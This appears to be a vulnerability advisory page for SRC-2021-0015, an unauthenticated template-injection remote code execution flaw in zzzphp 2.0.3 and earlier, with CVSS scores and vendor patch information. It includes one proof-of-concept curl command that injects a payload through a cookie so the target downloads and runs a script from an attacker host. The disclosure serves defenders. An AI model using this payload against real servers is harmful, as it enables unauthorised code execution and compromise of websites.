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srcinciteSteven Seeley (mr_me) of Qihoo 360 Vulcan TeamSRC-2021-0015
HistoryApr 27, 2021 - 12:00 a.m.

SRC-2021-0015 : zzzcms zzzphp parserIfLabel Template Injection Remote Code Execution Vulnerability

2021-04-2700:00:00
Steven Seeley (mr_me) of Qihoo 360 Vulcan Team
srcincite.io
19

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

0.012 Low

EPSS

Percentile

85.1%

Vulnerability Details:

This vulnerability allows remote attackers to execute arbitrary code on affected installations of zzzphp. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the processing of the search template. The issue results from the lack of proper validation of user-supplied keys when processing the search template. An attacker can leverage this vulnerability to execute code in the context of the web server.

Affected Vendors:

zzzcms

Affected Products:

zzzphp <= 2.0.3

Vendor Response:

zzzcms has issued an update to correct this vulnerability. More details can be found at: <http://www.zzzcms.com/a/news/31_282_1.html&gt;

curl -b 'keys={if:=`curl http://attacker.tld/poc.sh|bash`}{end if}' 'http://target.tld/?location=search'

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

0.012 Low

EPSS

Percentile

85.1%

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